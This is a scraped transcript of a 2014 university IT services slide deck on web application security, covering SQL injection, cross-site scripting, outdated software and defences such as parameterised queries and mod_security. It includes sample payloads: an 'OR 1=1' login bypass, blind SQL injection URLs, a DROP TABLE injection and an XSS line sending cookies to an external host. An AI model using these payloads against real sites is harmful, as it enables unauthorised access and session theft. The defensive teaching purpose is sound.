Presentation is loading. Please wait.

Presentation is loading. Please wait.

© University of Reading April 2014 Web Security Chris Wakelin – IT Services

Similar presentations

Presentation on theme: "© University of Reading April 2014 Web Security Chris Wakelin – IT Services"— Presentation transcript:

1 © University of Reading April 2014 Web Security Chris Wakelin – IT Services

2 Introduction Background Vulnerabilities Defences Risk Assessment

3 Background - Incidence of common vulnerabilities Broken authentication – 67% Broken access controls – 78% SQL injection – 36% Cross-site scripting – 91% Information leakage – 81% (source – Web Application Hackers Handbook)

4 Background – Mass exploits November 2007 – –40,000 websites – –Including January –70,000 websites –Including ? –

5 Background - UoR Web defacements Freshers Week 2007 – –code own3d by UGUR238 appearing everywhere 30 th October – –ownz ya baby 19 th November 2007 – (a.k.a. –Hooked by cyber_zook Weve been lucky!

6 Background – Motivation We were lucky, still only script kiddies –No malicious code inserted –Defacement was obvious (boasting!) Mass exploits are perpetrated by Cyber Criminals –Wish to insert malicious code (Javascript and IFRAMEs) –Attack visiting clients with cocktail of exploits –Eventually install Trojan du Jour (drive-by downloads) –Compromised clients used to capture banking details, spread spam etc. Consequences of such an exploit in the University –Many of the clients would be our users Potentially huge clean-up task –Damage to Universitys reputation etc.

7 Vulnerabilities - SQL Injection - Cartoon Consider the cartoon. What if the web app used the following SQL query? SELECT * FROM Students WHERE (status = active AND name=$name) Little Bobby Tables has just made $name = Robert); DROP TABLE Students;-- So the query becomes SELECT * FROM Students WHERE (account=active AND name=Robert); DROP TABLE Students;-- ) Oops!

8 Vulnerabilities – SQL Injection - Authentication What about SELECT * FROM Users WHERE username=$username AND password=$password ? I found three different UoR websites where a password of OR 1=1 logged me in (as an Administrator in two of the cases!) –… AND password= OR 1=1 –One using MS SQL Server (ASP, commercial), one MS Access (ASP, consultancy) and one MySQL (PHP, home- grown)

9 Vulnerabilities - SQL Injection – Mass Exploits HTTP Request was GET Which decodes as name+'))+'' '';' from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where and a.xtype='U'and b.xtype=c.xtype and'varchar'; set

10 Vulnerabilities - Advanced SQL Injection Blind SQL Injection –Just needs to produce a different result depending on whether the given condition is true or false WebCMS was vulnerable –/nmsruntime/saveasdialog.asp?lID=14531%20and%201=1&sI D=22059 gave a different answer (downloaded the file) to –/nmsruntime/saveasdialog.asp?lID=14531%20and%201=2&sI D=22059 (gave an error) Automated tools can potentially retrieve (slowly) everything in the database –Queries like … AND (SELECT ASCII(SUBSTR(password,1,1)) FROM users WHERE username=admin) > 78

11 Vulnerabilities - Advanced SQL Injection [*] starting at: 22:00:56 [22:01:03] [WARNING] the remote DMBS is not MySQL [22:01:04] [WARNING] the remote DMBS is not Oracle [22:01:04] [WARNING] the remote DMBS is not PostgreSQL remote DBMS: Microsoft SQL Server Database: ae400_readingdev [163 tables] | ACTIVATION | | AEMA_PAGE_AC_COST | | AEMA_PAGE_AC_COST_VALUES | | AEMA_PAGE_AC_ROOMTERM | | AEMA_PAGE_AC_ROOMTERM_VALUES | | AEMA_PAGE_AC_TYPE | | AEMA_PAGE_AC_TYPE_VALUES | | WORKFLOW | | WORKFLOW_USERS | [*] shutting down at: 00:16:21

12 Vulnerabilities - Cross-Site Scripting (XSS) Not as spectacular as SQL injection Far more prevalent (91%) Severity depends on context E.g. can be used to hijack authenticated sessions –Victim is persuaded to follow specially crafted link to their application –Their browser sends their session cookie to the attacker –The attacker uses this cookie to hijack the session Can be Spectacular – the MySpace worm used XSS –Attacker posted Javascript to his profile –People visiting that profile became his buddies and had the Javascript added to their profile –He ended up with over a million friends (not that they helped him in court!)

13 Vulnerabilities – Cross-Site Scripting Typical problem is in search pages or error pages …/Search.asp?search-term= … –You searched for alert(document.cookie) …/Login.php?user= … –User var i=new Image; i.src=hxxp:// does not exist Can also happen by POST (form submission) but harder to exploit These are Reflected or Class 1 XSS.

14 Vulnerabilites – Cross-Site Scripting Stored or Class 2 XSS is where an attacker puts Javascript in a field (such as a comment) which is subsequently viewed by other users –E.g. Webmail, blogs, bulletin boards, advertisments Other avenues of attack starting to appear –Flash –ActiveX controls Best browser defence is Firefox + NoScript plugin –Selectively allow Javascript for trusted sites –Perhaps not user-friendly enough …

15 Vulnerabilities – Outdated applications E.g. Wordpress, phpBB, Joomla Google Hacking –Find old vulnerable versions of well-known applications –E.g. inurl:wp-login.php –See for more... Even security professionals not immune - ess-cookie-authentication-vulnerability/ ess-cookie-authentication-vulnerability/ Watch out for plugins as they may be less well- written Essential to keep applications up-to-date!

16 Vulnerabilities – Old versions and source code Dont keep old (potentially insecure) version of scripts lying around –Hackers will try index.php.bak and default2.asp –If you must keep old versions online, pick a naming scheme that is unlikely to be guessed search cdw.asp –If you change the file extension, the server may hand out your actual code! Deny access to source and backup directories –Preferably keep them out of the web root altogether

17 Vulnerabilities - others Other injection flaws –Command injection (can run OS commands) –Script injection (exec/eval/include commands in scripts) –HTTP header (CRLF) injection (anything the client sends you that ends up in the header, especially cookies and redirects) –SMTP/LDAP/XPATH/SOAP … Path traversal – d Buffer overflows –Dont rely on or size=xxx …

18 Defences – Fix apps Sanitise anything you get and use from the user –Including hidden fields, cookies, user-agent etc. –Dont assume theyll obey things like length-restrictions If possible, restrict to known good rather than trying to exclude bad things –E.g. if your application takes an integer as an argument, reject anything that isnt an integer –Be careful not to throw out the baby with the bathwater, though We probably dont want to exclude people of Irish ancestry from receiving the University prospectus – e.g. OConnor Parameterise SQL queries (if necessary) HTML-Encode anything you output –htmlencode($string) in PHP –Server.HTMLencode(string) in ASP

19 Defences – Fix apps – Validate input ASP Public Function ValidateInput(ByVal sInput, ByVal sPattern) Dim reValid Set reValid = New RegExp reValid.Pattern = sPattern reValid.Global = True ValidateInput = reValid.Test(sInput) Set reValid = Nothing End Function If not ValidateInput(strid, "^[0-9]+$") then strid="1" End If PHP If (!preg_match("/^[0-9]+$/",$strid)) $strid="1" ;

20 Defences - Fix apps - Parameterise queries PHP $sql = $db_connection->prepare( SELECT * FROM users WHERE username = ? AND password = ? ); $sql->bind_param( ss, $username, $password); $sql->execute(); ASP Set dbCommand = Server.CreateObject("ADODB.Command") Set dbCommand.ActiveConnection = dbConnection dbCommand.CommandType = adCmdText dbCommand.CommandText = "SELECT * FROM users WHERE username=? and password=? dbCommand.Parameters.Append (dbCommand.CreateParameter("username", adChar, adParamInput, Len(username), username)) dbCommand.Parameters.Append (dbCommand.CreateParameter("pwd", adChar, adParamInput, Len(pwd), pwd)) Set rs = dbCommand.Execute

21 Defences - Minimal permissions Each application should have its own database account(s) –Account should have read-only privileges unless the application modifies the data –Use separate account for admin write access if possible –Dont be DBA (even to just make things work) Use access restrictions (.htaccess etc.) to restrict admin functionality to trusted networks/users Web servers shouldnt run as root/local system/administrator or as the same user as the database –May be an idea to run the database on a different server altogether Use strong passwords (and password policies) –Use password hashes where possible

22 Defences - Policies We should aim to not be the low-hanging fruit Move the fruit further up the tree by –Requiring authentication –Restricting access to those on campus where possible Shake the tree ourselves and see what falls out –Then fix it Hackers with ladders/cherry-pickers/chainsaws will probably beat us! –But were not a bank, so hopefully they wont bother

23 Defences - Policies A single Nessus Scan no longer sufficient –Websites change –Nessus not really suited to testing web applications We need a policy of systematic testing –When a request for a database is made –When a web application is installed or changed –Periodic automated testing? Try to consolidate to central services where possible –Do we need 10 different Wordpress installations?

24 Defences - Policies Web applications need to be properly resourced and maintained (static pages are probably OK) Consultancy & commercial –Cant just pay a consultant to develop it and forget about it –Need support contract Home-grown –What if the original author leaves? Open-source –Keep up-to-date with latest releases and patches –What if its no longer maintained?

25 Defences - Security Scans Historically we scanned new websites with Nessus –Not particularly aimed at web-application security problems Doesnt do spidering so will only find problems in obvious places –We only scanned once (and reserved the right to rescan later) –Nessus is free! Web Security Scanners –Commercial ones are expensive £ £30000! WebInspect, AppScan, Acunetix … –Can still have problems with false positives –Will still miss some of the obvious vulnerabilities –Probably can be used for automated and first-glance checks

26 Defences - Free testing tools Paros Proxy ( ) –Good point & click tool – a bit lacking in documentation –Will find the simplest XSS and SQL injection flaws Burp Suite ( ) –More sophisticated tools to assist the penetration tester Acunetix Free Edition ( ) –Restricted version of commercial scanner; just finds XSS Nikto ( ) –Perl script to look for common vulnerabilities WebGoat ( ) –Training application for pen testers (can you buy the HDTV for 0$?)

27 Defences - Web Application Firewall Mod_security for Apache ( ) –Main Apache server is acting as reverse proxy for WebCMS –Can block things like XSS and SQL injection attacks –Customisable Core Ruleset provided Custom rules can protect particular applications –Provides an audit trail Free console application (for up to 3 servers) –Currently running in Log only mode (on all virtual hosts) –Can proxy by making DNS point to But may need different URL for editing –Risk of false positives (we have a very varied website)

28 Risk Assessment SQL Injection in SQL Server or MySQL –High risk –Actively targeted by automated attacks –Potential to affect other apps sharing the same database server SQL Injection in MS Access –Medium risk –Less likely to be compromised by an automated attack –Determined hacker could probably modify the database and insert malicious code

29 Risk Assessment Reflected XSS –Low to medium risk –Important on sites with authentication (Blackboard, RISIS, Trent etc.) where session tokens could be stolen Outdated well-known applications –Could be a high risk –Automated attacks via Google Hacking

30 Conclusion Web application security now a hot topic Automated attacks occurring constantly Need to fix home-grown scripts and applications Need to keep third-party applications up-to-date Need to ensure proper resources for maintenance Need policies to keep track

Download ppt "© University of Reading April 2014 Web Security Chris Wakelin – IT Services"

Similar presentations

Ads by Google